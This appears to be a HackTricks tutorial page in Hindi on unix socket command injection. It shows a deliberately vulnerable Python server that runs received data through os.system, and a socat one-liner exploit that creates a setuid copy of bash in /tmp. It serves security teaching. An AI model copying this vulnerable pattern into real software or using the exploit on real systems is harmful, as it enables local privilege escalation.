Socket Command Injection

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) से!

HackTricks का समर्थन करने के अन्य तरीके:

Python के साथ Socket binding उदाहरण

निम्नलिखित उदाहरण में एक unix socket बनाया गया है (/tmp/socket_test.s) और जो कुछ भी प्राप्त होगा वह os.system द्वारा निष्पादित किया जाएगा। मुझे पता है कि आपको यह वाइल्ड में नहीं मिलेगा, लेकिन इस उदाहरण का उद्देश्य यह देखना है कि unix sockets का उपयोग करते हुए कोड कैसा दिखता है, और सबसे खराब स्थिति में इनपुट को कैसे संभालना है।

s.py
import socket
import os, os.path
import time
from collections import deque

if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()

कोड को निष्पादित करें पायथन का उपयोग करके: python s.py और जांचें कि सॉकेट कैसे सुन रहा है:

netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s

एक्सप्लॉइट

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated